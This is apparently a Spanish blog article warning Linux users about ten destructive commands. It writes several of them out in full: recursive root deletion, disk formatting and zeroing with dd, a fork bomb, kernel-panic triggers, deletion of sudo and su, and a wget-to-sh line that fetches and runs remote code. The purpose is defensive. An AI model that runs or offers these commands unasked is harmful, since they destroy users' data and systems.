Linux puede ser un arma de doble filo. Asume que sabes lo que haces y te da la libertad de hacer lo que quieras. No te preguntará. Es útil cuando realmente sabes lo que estás haciendo, pero también significa que puedes dejar tu sistema inservible en cuestión de segundos.
Pero tanto si eres nuevo en Linux como si eres un veterano, nunca debes ejecutar un comando a menos que sepas exactamente lo que hace. Estos son algunos de los comandos más mortíferos de Linux que, en su mayoría, querrás evitar.
1. Eliminar Recursivamente
La capacidad de Linux para eliminar todo lo que quieras sin preguntar es un regalo del cielo, especialmente después de años de errores de “Este archivo no puede ser eliminado” en Windows. Pero los trolls de Internet se apresurarán a engañarte para que recibas comandos de eliminación extremadamente peligrosos que pueden acabar con todos tus discos duros.
rm -rf /
Esta línea ejecuta el comando rm delete
con dos modificadores: -r
, que provoca un borrado recursivo a través de todos los subdirectorios, y -f
, que hace que se borren los archivos de sólo lectura sin confirmación. El comando se ejecuta en el directorio /root
, borrando esencialmente todo el sistema.
Sus variantes:
rm
: se utiliza para eliminar archivos.rm -r
: borra la carpeta recursivamente, incluso la carpeta vacía.rm -f
: elimina el ‘Archivo de sólo lectura’ sin preguntar.rm -rf /
: Fuerza la eliminación de todo en el directorio raíz.rm -rf *
: Fuerza la eliminación de todo en el directorio actual/de trabajo.rm -rf .
: Fuerza la eliminación de la carpeta actual y las subcarpetas.
Ten en cuenta que en la mayoría de los sistemas Linux de hoy en día, si intentas esto, recibirás una advertencia. Pero una advertencia no está garantizada, así que no lo hagas.
2. Formatear el Disco Duro
El terminal es especialmente complicado para los novatos en Linux porque ofrece varias formas de borrar accidentalmente un disco duro. El borrado recursivo es genial, pero aquí está el otro:
mkfs.ext3 /dev/hda
Este comando formatea un disco duro para utilizar el sistema de archivos ext3. Formatear un disco no es intrínsecamente malicioso, pero “reinicia” el disco para que quede “como nuevo”. En otras palabras, un disco duro formateado es como una pizarra en blanco.
El formateo es útil para las particiones de disco y las unidades externas, pero realizarlo en un disco duro entero (por ejemplo, /dev/hda
) es peligroso y puede hacer que tu sistema sea irrecuperable.
Su variante:
mkfs.ext4 /dev/sda
3. Sobrescribir el Disco Duro
Como si formatear accidentalmente una unidad no fuera suficientemente malo, es posible sobrescribir el disco duro con datos sin procesar. Al menos formatear un disco es un procedimiento real con uso en el mundo real; en cambio, sobrescribir directamente un disco no es tan bueno.
comando > /dev/hda
En el comando anterior, el comando puede ser reemplazado por cualquier comando Bash. El operador >
redirige la salida del comando de la izquierda al archivo de la derecha. En este caso no importa cuál es la salida del comando de la izquierda. Estos datos en bruto se redirigen y se utilizan para sobrescribir el disco duro del sistema.
Como puedes imaginar, esto lo hace inútil.
4. Borrar el Disco Duro
Esta es otra forma de arruinar tu sistema. Esta vez el comando pondrá a cero completamente tu disco duro. No hay corrupción ni sobreescritura de datos; literalmente llenará tu disco duro de ceros. El disco duro ya no se borra.
dd if=/dev/zero of=/dev/hda
El comando dd
es una instrucción de bajo nivel que se utiliza principalmente para escribir datos en discos físicos. El parámetro if
define la fuente de datos, que en este caso es /dev/zero
, un especial de Linux que crea un flujo infinito de ceros. El parámetro of
define el destino de estos ceros, que es la unidad /dev/hda
.
Sí, hay razones legítimas para poner a cero el disco, pero si no sabes cuáles son esas razones, deberías mantenerte alejado de este comando.
5. Hacer Estallar tu Disco Duro
Si estás cansado de escuchar formas de romper tu disco duro, espera. Aquí hay otro para ti. Linux tiene un archivo especial /dev/null
que descarta cualquier dato que se escriba en él. Puedes pensar en él como un agujero negro o un destructor de archivos: todo lo que se le dé como entrada será devorado para siempre.
mv / /dev/null
¿Puedes detectar un peligro aquí? El comando mv
intenta mover el directorio raíz del sistema /
a un agujero negro /dev/null
. Este es un comando válido y el resultado es terrible: se come el disco duro y no queda nada. Esto hará que tu sistema sea inutilizable.
6. Causar el Kernel Panic Error
Windows tiene su infame pantalla azul de la muerte Y, a pesar de los mitos que circulan, Linux no es un sistema completamente seguro. A veces se produce un error interno que hace imposible la recuperación, por lo que el sistema producirá algo parecido a una “pantalla azul”: kernel panic.
dd if=/dev/random of=/dev/port echo 1 > /proc/sys/kernel/panic cat /dev/port cat /dev/zero > /dev/mem
Las complejidades de los comandos anteriores no son importantes aquí. Lo importante es que la ejecución de cualquiera de estas líneas hará que el kernel entre en pánico, obligando a reiniciar el sistema. Es mejor no utilizar estos comandos a menos que estés seguro de que sabes lo que está haciendo.
7. Bomba fork
Bash es un lenguaje de terminal y es poderoso. No sólo puede ejecutar comandos, sino que también puede ejecutar funciones, lo que facilita la escritura de scripts que pueden automatizar las tareas del sistema. Por desgracia, las funciones no están exentas de riesgos.
:(){:|:&};:
Para tener una mejor idea de cómo funciona, vamos a convertirlo un poco:
fu() {
fu | fu &
}
fu
Este oscuro comando se llama fork bomb, que es un tipo especial de kernel panic. Define una función llamada :
que se llama a sí misma recursivamente dos veces durante la ejecución. Una de las llamadas recursivas se produce en primer plano y la otra en segundo plano.
En otras palabras, cada vez que se ejecuta esta función, genera dos procesos hijos. Estos hijos engendran sus propios procesos hijos, y este bucle continúa un bucle sin fin. La única manera de salir de esto es reiniciar el sistema.
8. Ejecutar un Script Remoto
He aquí un comando inocente que puede ser realmente útil en la vida diaria de Linux. wget extrae el contenido de una webURL que puede utilizarse para acceder a sitios web o descargar archivos. Sin embargo, hay un sencillo truco que lo hace peligroso:
wget http://url-no-fiable -O- | sh
La combinación anterior descarga el contenido de la URL dada y lo pasa inmediatamente al comando sh
, que ejecuta el contenido descargado en la terminal. Si la URL hubiera apuntado a un script malicioso, habría confundido su destino con este comando.
9. Sobrescribir Archivo de Configuración
Un comando que puede sobrescribir un archivo de configuración importante. En Linux hay dos funciones que confunden en parte >
– reemplazar y >>
– añadir. Así que si escribes > archivo.conf
, puedes simplemente borrar el contenido del archivo.
comando > archivo.conf
10. Desactivar los Permisos de root
Este último comando es sencillo. Utiliza el comando rm
de uso común para desactivar los dos comandos más importantes de Linux: sudo
y su
. En resumen, estos dos permiten ejecutar otros comandos con privilegios de root. Sin ellos, la vida en Linux sería miserable.
rm -f /usr/bin/sudo;rm -f /bin/su
Por eso no debes ejecutar este comando. Eliminará a la fuerza ambos comandos de tu sistema sin ninguna confirmación, dejándote tirado. Hay formas de restaurar lo que se ha eliminado, pero no siempre es fácil y no será agradable.
Por favor, ten cuidado. No tengas miedo de jugar con Linux y el terminal de línea de comandos, pero al mismo tiempo investiga y nunca hagas nada a menos que estés absolutamente seguro de lo que hacen. Si alguien te dice que “prueba este comando“, compruébalo siempre dos y tres veces.
Eso es todo, ahora tienes una idea de los comandos de Linux que nunca debes introducir en la consola. También esperamos que no aconseje a los usuarios inexpertos que entren en ellas. Esperamos que este artículo te haya sido útil y si conoces algún otro “hechizo imperdonable” y comando peligroso de Linux, ¡escríbelo en los comentarios!